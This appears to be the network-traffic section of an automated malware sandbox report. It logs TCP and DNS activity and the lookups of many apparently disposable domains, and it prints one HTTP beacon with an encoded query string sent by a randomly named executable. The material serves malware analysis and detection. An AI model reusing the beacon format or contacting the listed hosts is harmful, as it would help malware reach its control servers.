Sep 5, 2024 14:26:52.283416033 CEST	57223	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:52.512567997 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:52.512625933 CEST	57223	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:52.517926931 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:57.431036949 CEST	57224	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:57.435894012 CEST	80	57224	72.52.178.23	192.168.2.5
Sep 5, 2024 14:26:57.435970068 CEST	57224	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:57.438364983 CEST	57224	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:57.443365097 CEST	80	57224	72.52.178.23	192.168.2.5
Sep 5, 2024 14:26:57.961407900 CEST	80	57224	72.52.178.23	192.168.2.5
Sep 5, 2024 14:26:57.961604118 CEST	57224	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:58.951184988 CEST	57224	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:58.956147909 CEST	80	57224	72.52.178.23	192.168.2.5
Sep 5, 2024 14:26:59.972088099 CEST	57225	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:59.977072001 CEST	80	57225	72.52.178.23	192.168.2.5
Sep 5, 2024 14:26:59.977663040 CEST	57225	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:59.980089903 CEST	57225	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:26:59.985054970 CEST	80	57225	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:00.474349022 CEST	80	57225	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:00.476531982 CEST	57225	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:01.482439041 CEST	57225	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:01.558721066 CEST	80	57225	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:02.501485109 CEST	57226	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:02.507879972 CEST	80	57226	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:02.510265112 CEST	57226	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:02.516108990 CEST	57226	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:02.521004915 CEST	80	57226	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:02.521214962 CEST	80	57226	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:03.017194986 CEST	80	57226	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:03.017249107 CEST	57226	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:04.013695002 CEST	57226	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:04.018662930 CEST	80	57226	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:05.032582998 CEST	57227	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:05.037960052 CEST	80	57227	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:05.038031101 CEST	57227	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:05.040975094 CEST	57227	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:05.045933008 CEST	80	57227	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:05.588308096 CEST	80	57227	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:05.588336945 CEST	80	57227	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:05.588485956 CEST	57227	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:05.591108084 CEST	57227	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:05.595901966 CEST	80	57227	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:11.124428034 CEST	57228	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:11.129270077 CEST	80	57228	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:11.129352093 CEST	57228	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:11.136218071 CEST	57228	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:11.141032934 CEST	80	57228	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:11.584598064 CEST	80	57228	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:11.584621906 CEST	80	57228	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:11.584758997 CEST	80	57228	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:11.584928036 CEST	57228	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:12.638700008 CEST	57228	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:13.657598019 CEST	57229	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:13.708678007 CEST	80	57229	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:13.711282015 CEST	57229	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:13.714132071 CEST	57229	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:13.720426083 CEST	80	57229	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:14.188874960 CEST	80	57229	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:14.189316034 CEST	80	57229	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:14.189327955 CEST	80	57229	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:14.189518929 CEST	57229	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:15.220062017 CEST	57229	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:16.235399008 CEST	57230	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:16.682725906 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:16.682807922 CEST	57230	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:16.684978962 CEST	57230	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:16.692006111 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:16.694051027 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:17.145067930 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:17.145093918 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:17.145111084 CEST	80	57230	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:17.145172119 CEST	57230	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:18.204114914 CEST	57230	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.220578909 CEST	57231	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.225928068 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:19.226015091 CEST	57231	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.228796959 CEST	57231	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.233686924 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:19.681514978 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:19.681539059 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:19.681552887 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:19.681884050 CEST	57231	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.684678078 CEST	57231	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:19.691042900 CEST	80	57231	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.067064047 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:33.071986914 CEST	80	57232	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.072057009 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:33.075530052 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:33.080703974 CEST	80	57232	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.552771091 CEST	80	57232	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.552799940 CEST	80	57232	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.552885056 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:33.553610086 CEST	80	57232	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:33.553663969 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:34.594352007 CEST	57232	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:35.614454985 CEST	57233	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:35.619570017 CEST	80	57233	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:35.625698090 CEST	57233	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:35.625698090 CEST	57233	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:35.630744934 CEST	80	57233	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:36.110003948 CEST	80	57233	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:36.110493898 CEST	80	57233	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:36.110507965 CEST	80	57233	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:36.110584974 CEST	57233	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:37.138794899 CEST	57233	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:38.158381939 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:38.165132046 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.168230057 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:38.170308113 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:38.175363064 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.175405025 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.652837992 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.652857065 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.652931929 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:38.653163910 CEST	80	57234	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:38.653209925 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:39.685592890 CEST	57234	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:40.705756903 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:40.710612059 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:40.710724115 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:40.715140104 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:40.719949007 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:41.175417900 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:41.175461054 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:41.175534010 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:41.175589085 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:41.175628901 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:41.178894043 CEST	57235	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:41.184009075 CEST	80	57235	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.237508059 CEST	57236	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:49.242480040 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.242547035 CEST	57236	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:49.244653940 CEST	57236	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:49.249546051 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.708673954 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.709034920 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.709047079 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:49.709341049 CEST	57236	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:49.711714029 CEST	57236	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:27:49.716584921 CEST	80	57236	199.59.243.226	192.168.2.5
Sep 5, 2024 14:27:54.721198082 CEST	57237	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:54.726146936 CEST	80	57237	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:54.726232052 CEST	57237	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:54.728523970 CEST	57237	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:54.733391047 CEST	80	57237	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:55.252393961 CEST	80	57237	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:55.252464056 CEST	57237	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:56.232461929 CEST	57237	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:56.237510920 CEST	80	57237	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:57.251401901 CEST	57238	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:57.258594990 CEST	80	57238	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:57.258694887 CEST	57238	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:57.260699987 CEST	57238	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:57.265683889 CEST	80	57238	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:57.753067017 CEST	80	57238	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:57.753495932 CEST	57238	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:58.763679028 CEST	57238	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:58.768713951 CEST	80	57238	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:59.783195972 CEST	57239	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:59.788218021 CEST	80	57239	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:59.794142008 CEST	57239	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:59.794142008 CEST	57239	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:27:59.799346924 CEST	80	57239	72.52.178.23	192.168.2.5
Sep 5, 2024 14:27:59.799479008 CEST	80	57239	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:00.299591064 CEST	80	57239	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:00.299707890 CEST	57239	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:01.311580896 CEST	57239	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:01.316559076 CEST	80	57239	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:02.330225945 CEST	57240	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:02.335171938 CEST	80	57240	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:02.338592052 CEST	57240	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:02.342185974 CEST	57240	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:02.349392891 CEST	80	57240	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:02.887254953 CEST	80	57240	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:02.888048887 CEST	80	57240	72.52.178.23	192.168.2.5
Sep 5, 2024 14:28:02.888098001 CEST	57240	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:02.894931078 CEST	57240	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:28:02.899789095 CEST	80	57240	72.52.178.23	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 5, 2024 14:24:28.813508034 CEST	54721	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:24:29.057430029 CEST	53	54721	1.1.1.1	192.168.2.5
Sep 5, 2024 14:24:31.512013912 CEST	53	49299	162.159.36.2	192.168.2.5
Sep 5, 2024 14:24:31.999882936 CEST	59396	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:24:32.007282019 CEST	53	59396	1.1.1.1	192.168.2.5
Sep 5, 2024 14:24:44.582868099 CEST	60294	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:24:44.845455885 CEST	53	60294	1.1.1.1	192.168.2.5
Sep 5, 2024 14:24:58.126667023 CEST	49393	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:24:58.148190022 CEST	53	49393	1.1.1.1	192.168.2.5
Sep 5, 2024 14:25:06.205084085 CEST	55445	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:25:06.524374962 CEST	53	55445	1.1.1.1	192.168.2.5
Sep 5, 2024 14:25:19.673820972 CEST	60012	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:25:19.684062958 CEST	53	60012	1.1.1.1	192.168.2.5
Sep 5, 2024 14:25:27.739074945 CEST	53555	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:25:28.012501955 CEST	53	53555	1.1.1.1	192.168.2.5
Sep 5, 2024 14:25:41.190397024 CEST	51883	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:25:41.532886028 CEST	53	51883	1.1.1.1	192.168.2.5
Sep 5, 2024 14:25:49.595990896 CEST	62175	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:25:50.043323994 CEST	53	62175	1.1.1.1	192.168.2.5
Sep 5, 2024 14:26:03.814555883 CEST	63359	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:26:03.947119951 CEST	53	63359	1.1.1.1	192.168.2.5
Sep 5, 2024 14:26:17.268595934 CEST	53001	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:26:17.468010902 CEST	53	53001	1.1.1.1	192.168.2.5
Sep 5, 2024 14:26:30.564943075 CEST	61672	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:26:30.595567942 CEST	53	61672	1.1.1.1	192.168.2.5
Sep 5, 2024 14:26:43.976064920 CEST	61580	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:26:44.015528917 CEST	53	61580	1.1.1.1	192.168.2.5
Sep 5, 2024 14:26:57.299247026 CEST	56596	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:26:57.428117990 CEST	53	56596	1.1.1.1	192.168.2.5
Sep 5, 2024 14:27:10.599121094 CEST	54960	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:27:11.120249987 CEST	53	54960	1.1.1.1	192.168.2.5
Sep 5, 2024 14:27:24.689748049 CEST	64221	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:27:24.699783087 CEST	53	64221	1.1.1.1	192.168.2.5
Sep 5, 2024 14:27:32.801379919 CEST	65491	53	192.168.2.5	1.1.1.1
Sep 5, 2024 14:27:33.063775063 CEST	53	65491	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 5, 2024 14:24:28.813508034 CEST	192.168.2.5	1.1.1.1	0x1cd4	Standard query (0)	www.whiskeydecanterset.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:24:31.999882936 CEST	192.168.2.5	1.1.1.1	0x66c5	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 5, 2024 14:24:44.582868099 CEST	192.168.2.5	1.1.1.1	0xf4fa	Standard query (0)	www.4odagiyn.click	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:24:58.126667023 CEST	192.168.2.5	1.1.1.1	0xd098	Standard query (0)	www.shimakaze-83.cfd	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:06.205084085 CEST	192.168.2.5	1.1.1.1	0x153e	Standard query (0)	www.marinamaquiagens.online	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:19.673820972 CEST	192.168.2.5	1.1.1.1	0xb11	Standard query (0)	www.sandiegosharon.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:27.739074945 CEST	192.168.2.5	1.1.1.1	0xda23	Standard query (0)	www.yi992.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:41.190397024 CEST	192.168.2.5	1.1.1.1	0xbbe9	Standard query (0)	www.ios2222abh.top	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:49.595990896 CEST	192.168.2.5	1.1.1.1	0xedbb	Standard query (0)	www.rigintech.info	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:03.814555883 CEST	192.168.2.5	1.1.1.1	0x935e	Standard query (0)	www.bnmlk.org	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:17.268595934 CEST	192.168.2.5	1.1.1.1	0xf323	Standard query (0)	www.smokesandhoney.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:30.564943075 CEST	192.168.2.5	1.1.1.1	0x4900	Standard query (0)	www.wildenmann.shop	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:43.976064920 CEST	192.168.2.5	1.1.1.1	0xe3c6	Standard query (0)	www.formytinyhome.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:57.299247026 CEST	192.168.2.5	1.1.1.1	0xab1e	Standard query (0)	www.5a8yly.cfd	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:10.599121094 CEST	192.168.2.5	1.1.1.1	0x6dd7	Standard query (0)	www.thecivilwearsprada06.site	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:24.689748049 CEST	192.168.2.5	1.1.1.1	0x74a8	Standard query (0)	www.sugargz.com	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:32.801379919 CEST	192.168.2.5	1.1.1.1	0x9045	Standard query (0)	www.cacingnaga36.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 5, 2024 14:24:29.057430029 CEST	1.1.1.1	192.168.2.5	0x1cd4	No error (0)	www.whiskeydecanterset.com	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:24:29.057430029 CEST	1.1.1.1	192.168.2.5	0x1cd4	No error (0)	77980.bodis.com		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:24:32.007282019 CEST	1.1.1.1	192.168.2.5	0x66c5	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 5, 2024 14:24:44.845455885 CEST	1.1.1.1	192.168.2.5	0xf4fa	No error (0)	www.4odagiyn.click		72.52.178.23	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:24:58.148190022 CEST	1.1.1.1	192.168.2.5	0xd098	Name error (3)	www.shimakaze-83.cfd	none	none	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:06.524374962 CEST	1.1.1.1	192.168.2.5	0x153e	No error (0)	www.marinamaquiagens.online		15.197.240.20	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:19.684062958 CEST	1.1.1.1	192.168.2.5	0xb11	Name error (3)	www.sandiegosharon.com	none	none	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:28.012501955 CEST	1.1.1.1	192.168.2.5	0xda23	No error (0)	www.yi992.com	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:25:28.012501955 CEST	1.1.1.1	192.168.2.5	0xda23	No error (0)	77980.bodis.com		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:41.532886028 CEST	1.1.1.1	192.168.2.5	0xbbe9	Name error (3)	www.ios2222abh.top	none	none	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:25:50.043323994 CEST	1.1.1.1	192.168.2.5	0xedbb	No error (0)	www.rigintech.info		162.0.213.94	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:03.947119951 CEST	1.1.1.1	192.168.2.5	0x935e	No error (0)	www.bnmlk.org	869710.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:26:03.947119951 CEST	1.1.1.1	192.168.2.5	0x935e	No error (0)	869710.parkingcrew.net		13.248.151.237	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:17.468010902 CEST	1.1.1.1	192.168.2.5	0xf323	No error (0)	www.smokesandhoney.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:26:17.468010902 CEST	1.1.1.1	192.168.2.5	0xf323	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:26:17.468010902 CEST	1.1.1.1	192.168.2.5	0xf323	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:30.595567942 CEST	1.1.1.1	192.168.2.5	0x4900	No error (0)	www.wildenmann.shop		91.203.110.247	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:44.015528917 CEST	1.1.1.1	192.168.2.5	0xe3c6	No error (0)	www.formytinyhome.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:26:44.015528917 CEST	1.1.1.1	192.168.2.5	0xe3c6	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:26:44.015528917 CEST	1.1.1.1	192.168.2.5	0xe3c6	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:26:57.428117990 CEST	1.1.1.1	192.168.2.5	0xab1e	No error (0)	www.5a8yly.cfd		72.52.178.23	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:11.120249987 CEST	1.1.1.1	192.168.2.5	0x6dd7	No error (0)	www.thecivilwearsprada06.site	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:27:11.120249987 CEST	1.1.1.1	192.168.2.5	0x6dd7	No error (0)	77980.bodis.com		199.59.243.226	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:24.699783087 CEST	1.1.1.1	192.168.2.5	0x74a8	Name error (3)	www.sugargz.com	none	none	A (IP address)	IN (0x0001)	false
Sep 5, 2024 14:27:33.063775063 CEST	1.1.1.1	192.168.2.5	0x9045	No error (0)	www.cacingnaga36.click	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 5, 2024 14:27:33.063775063 CEST	1.1.1.1	192.168.2.5	0x9045	No error (0)	77980.bodis.com		199.59.243.226	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.whiskeydecanterset.com

www.4odagiyn.click

www.marinamaquiagens.online

www.yi992.com

www.rigintech.info

www.bnmlk.org

www.smokesandhoney.com

www.wildenmann.shop

www.formytinyhome.com

www.5a8yly.cfd

www.thecivilwearsprada06.site

www.cacingnaga36.click

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:24:29.071753025 CEST	457	OUT	GET /wuux/?sH=nVVHdDTx2PSTVJ&V6h=G8W1V2+ngxJ+E83/0IyfiXupIqoHasoRgPgAY3+/EHQIvd2Wul84Lo8VWixQDtg5AMG3Phy0eNTP33PkrrD0t0eGx0WSmGJ1HH0cwOwxD95TaQSaBMeTfZ443OH1gA0wDQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.whiskeydecanterset.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:24:29.528198004 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:24:28 GMT content-type: text/html; charset=utf-8 content-length: 1522 x-request-id: c98be8c5-42d6-40b5-924f-79bfdd2130be cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_K7P5yx6HRAV+XcWEYWP6kd6LFXOozqvCLo7Kwaf3x1KcozZ2Sablk4NfjRyA4M+y5VZ6JcX1iTOKWFosnbgFag== set-cookie: parking_session=c98be8c5-42d6-40b5-924f-79bfdd2130be; expires=Thu, 05 Sep 2024 12:39:29 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 